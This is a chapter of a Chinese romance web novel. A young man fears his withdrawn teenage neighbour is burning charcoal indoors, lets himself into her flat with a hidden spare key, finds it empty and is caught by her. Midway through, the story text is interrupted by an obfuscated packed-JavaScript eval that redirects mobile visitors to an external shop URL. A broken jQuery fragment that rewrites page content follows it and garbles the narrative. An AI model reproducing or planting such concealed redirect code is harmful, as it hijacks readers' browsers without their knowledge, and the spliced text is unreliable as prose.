12. 第十二章
    少见的无风天,烟囱里冒着青烟,直直地向天空飘。

    炉火正旺,室内热得干燥。

    沈灼腰上系着围裙,一手拿刀,另一只手从旁边的钢盆里拿出一块红白相间的肉,熟练地切成均匀的小块。

    旁边坐着吴玉东,慢悠悠地用铁签把切好的肉串起来。

    他皮肤黑,染了一头不羁的黄毛,一米七的个头,一百七十斤,胖成正方体,坐着穿串还累得直吭哧。

    慢悠悠地把穿好的肉用保鲜膜包起来,虚虚地用手背捋一下额头。

    “灼哥,陈老七那边咋说,你爸同意了?”

    沈灼哼了一声,语气不善,“管他做什么,老子就在这,看谁敢。”

    吴玉东伸了下懒腰,靠着椅背偷懒,瞅着眼前的菜刀锃亮闪光,闹心地抓了一把黄毛。

    “你爸也真是,再怎么说你也是亲生的,怎么还净把人往绝路上逼呢。”

    沈灼低着头,注意力都在刀下的肉上,半晌才说:“他最擅长干这种事。”

    吴玉东小心地看他脸色,古井无波的,像在说别人的事,可两人从小一块长大,他这一路的坎坷,说是山路十八弯也不为过。

    最坏,就坏在他这个亲爸身上了。“他是二婚了,老婆还生了对双胞胎儿子,钱也是紧得慌。”

    “呵,想钱也不能把主意打到我身上,我见他一次打他一次。”

    吴玉东喘了口长气,推心置腹地建议:“你要打也行,尽量背着点人,这街坊邻居都看着呢,儿子打老子,你还想不想娶媳妇了。”

    沈灼把切好的肉推给他,无所谓地说:“哥们的理想就是打一辈子光棍。”

    “放屁,你最好是。”

    吴玉东偷懒结束,重新回到穿肉岗位,他手里拿着一把铁签,吧唧吧唧嘴,欲言又止地说:“怡然喜欢你,你不会不知道吧?”

    空气安静了一瞬,炉火里不知掺进了什么,噼啪一阵杂响。

    沈灼抬头,目光落到那边,淡淡地说:“不知道。”

    “屁,你就揣着明白装糊涂吧,她都那么明显了,你还装。”

    沈灼笑了下,他当然知道。

    上午她都堵到家门口了,手里还拿着朵玫瑰花,一看就知道要搞那种小女孩才喜欢的浪漫。

    他本来能混过去,没想到对门那丫头更猛,宁可和夏怡然掰了也得把这事搅和黄了。

    也算间接帮了他,就是…有点儿摸不清她脑回路。

    吴玉东还在那替他惋惜。

    “怡然多好的女孩啊,性格活泼不矫情,还上大学有文化,她要是这么喜欢我啊,让我干啥都行,当狗都行。”

    “算了吧,怡然她爸妈啥样你也不是不知道。”

    吴玉东一听这话,直接像个漏气的皮球,没精打采地叹了口气:“也是哈,从小就看不上咱们。”

    虽然他们一起长大,交情属实不错,不过这也只限于他们小孩之间,大人可不这样。

    夏怡然的爸妈是本地户,从小家里就做装修生意,这么多年的打拼,家底挺厚实,两人就这一个女儿,那可是捧在手心里养的。

    他俩就不一样了。

    吴玉东家里开肉铺,起早贪黑的,赚得是不少,但都是辛苦钱,别人提到他时,都用卖肉的老吴家当前缀。

    再说了,杀牲口,天天见血,来买肉的人络绎不绝,介绍对象的却一个没有。

    连吴玉东这样的条件都没人来说媒,更别提沈灼这种名声不好,上无老可靠,下无房可依的三无人员。

    他沉浸在手下的活里,闲聊似的说:“怡然嘛,我一直把她当妹妹。”

    “切~不是我说你哈,咱东林这么个屁大点的地方,你的妹妹也差不多认一百来个了吧?”

    “那是夸张了,还不到七十。”

    吴玉东翻了个白眼,“走一条街,能撞见你八个妹妹,”他翘起二郎腿,语重心长地说:“不是哥们说话不好听,人家爹妈都拽着拦着的,生怕女儿跟你多说一句话,你咋还往上凑,就算因为你妹当年出的事,这么多年都过去了,你这心结也该……”

    砰地一声,菜刀剁在连筋肉上,也切断了吴玉东的喋喋不休。

    沈灼懒得理他,下巴指了指炉火,支使他,“再去添点,穿完这点肥瘦直接烤了,咱哥俩喝点。”

    吴玉东咽下要说的唠叨,提了两下松垮垮的裤腰,不情不愿地去那边添火。

    新送来的肉差不多切完,桌子上一片狼籍,沈灼收拾着上面的碎肉和铁签,余光却看到堆在屋角的玉米棒。

    他忽然想到那个瘦小的女孩。

    还是迷惑,炭,在这个季节,特意拿到六楼能做什么。

    他沉吟着求解:“东子,你说,我对门,没有炉灶也没油烟机,一个小姑娘,她要炭什么用?”

    吴玉东身子胖,屁股沉,添火的时候也坐下了,随口瞎扯。

    “取暖呗,妈的,供暖公司杀千刀的,看把孩子逼成啥样了。”

    沈灼:……

    “眼看都春天了,再冷能多冷。”

    “那就是单纯喜这东西。”

    “有毛病啊喜欢黑炭。”

    不过,沈灼的确觉得她有点怪,说句不好听的,那女孩的行事风格和后院的三春挺像的,可三春是傻子,都傻二十多年了。

    她这十几岁的小姑娘,学也不上,也没见她爸妈,成天自己一个人上楼下楼的,总阴着脸,走路还没声,像个鬼似的。

    沈灼突然有点闹心。

    “东子,你说她不会真在屋里烧吧。”

    吴玉东被逗笑了,“不能,这玩意烧不对劲了有毒,傻啊,干这种事。”

    “草!”

    不听这话还好,一听这话沈灼就懂了这没来由的闹心是因为什么,他笃定,这种事她真干得出来。

    赶紧手忙脚乱地解开围裙,大步往外走,只甩下一句:给我看家。

    ***

    几近报废的五菱宏光一路飞驰,沈灼把油门踩到底,车因为速度过快,底盘不稳,晃晃荡荡的直较劲。

    一路开到家,连钥匙都没拔,就火急火燎地爬楼。

    从一到六,一步三个台阶,他来不及喘气,咚咚敲房门。

    “喂,开门!”

    攥拳狂敲的同时,心里也在思考进屋之后的流程。

    开窗,灭火,把炭扔出去,检查她的情况,打120,最好把她背下去。

    和他预想的一样,门里果然没动静。

    怕是已经不行了。

    沈灼急得一脑门子汗,直接拉开门边的水表箱子,手伸进去胡乱摸索,从最深处的角落拉出一把钥匙。

    打开门,鞋都没脱就冲进去。

    可是,和预想的不一样。

    室内安静,没有烟,没有味,没有燃烧的碳,也没有人。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13623796|143519||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他愣怔了几秒,僵硬地走过空荡荡的客厅和和厨房,走进卧室,看到一张老旧的板床放在中间。

    床上是清新少女风四件套,被子平整地铺着,床头摆着一袋零食。

    温馨,整洁,标准的少女卧室。

    沈灼的心从嗓子眼平稳落地,很久之后,才长长地松了口气。

    怪他太敏感了,总凭自己的臆想猜测别人,眼下什么都没发生,他暗骂自己神经病,竟然能做出私闯别人家的事。

    趁她没回来,撤离还来得及。

    沈灼一身汗,热变凉,凉变热,潮湿的衣料黏在脊背上,闹心又不爽。他拧开门,企图什么都没发生过似的溜出去。

    没想到,门刚开手掌宽的缝,就和门口的抱猫少女对上视线。

    她愣住,身体还维持着拿钥匙准备开锁的姿势。

    气氛凝滞,尴尬迅速扩散,沈灼最擅长耍无赖,当然不怕这种场面,他嘿嘿一笑,直接把门大开。

    伸手勾了勾猫的下巴颏,“回来啦?呦,这小猫,长得真丑哈。”

    蒋诵没有表情,对男人的擅闯行为没有惊恐的情绪,她抱紧怀里想要挣脱的牛奶猫,淡淡地看准备逃走的男人。

    “你有我家钥匙。”淡定的陈述语气。

    沈灼的手在衣兜里,用力捏了下薄铁硬物。

    其实他也是误打误撞,在这住了二十多年,他敢保证,这里百分之九十以上的人家,都把备用钥匙藏在水表箱里。

    他挠了挠头,掏出来,递给她。

    “给,今天是误会,我也是好心,你别往心里去。”

    蒋诵接过,端详着沾满灰尘和铁锈的钥匙,“那天,你帮我开锁,也是用的这把吗?”

    “是,水表箱里摸出来的。”

    蒋诵颔首,捏着钥匙,小声说:“好。”

    这一个好字,说得沈灼背后长毛。

    他是有点浑,但骄傲的是,虽然一直在瞎混,至今没蹲过局子,嘴上是有点没把门的,实际一直恪守法律底线。

    再说了,最近烦事太多了,要是真进去了,所有努力全都白费,啥都没了不说,还怪磕碜的。

    女孩态度不明确,他也不敢一走了之,才下了两个台阶,就心虚地抬头,“有事咱都能说开,你可别冲动报警啊。”

    蒋诵身子已经进屋,听他这么说,探出半张脸,怀里的小猫挣扎着不想进去,使劲用爪子挠门框。

    下午,阳光沉进远山,老旧的楼房本就采光不好,半开的室内乌朦朦的像蒙了层纱。

    女孩的脸半张隐入暗色,探出的半张却借着楼道里夕阳的余光,褪去死气沉沉,熠熠的着闪光。

    这画面很熟悉,沈灼倏地被拉回记忆深处。

    四岁的小女孩穿的破破烂烂,头发像稻草,也是在这样的门里,怯弱地把着门框,对背着书包去上学的他恳求:“哥,我想吃糖。”

    还是小学生的他随口敷衍:“我哪有时间,等放学再说。”

    那是最后一面,记忆因为痛苦碎成片。

    他手里紧紧攥着糖,风呼号着,眼前是涨水的河,湍急的水流岸边,站着一群表情冷漠的大人。

    求谁都没用,没人救她。

    两人安静对视,蒋诵见他眼底突然变红,平时油嘴滑舌的样子不见了,还隐隐透着一股狠戾。

    她退回门里,低声说:“我不报警,你走吧。”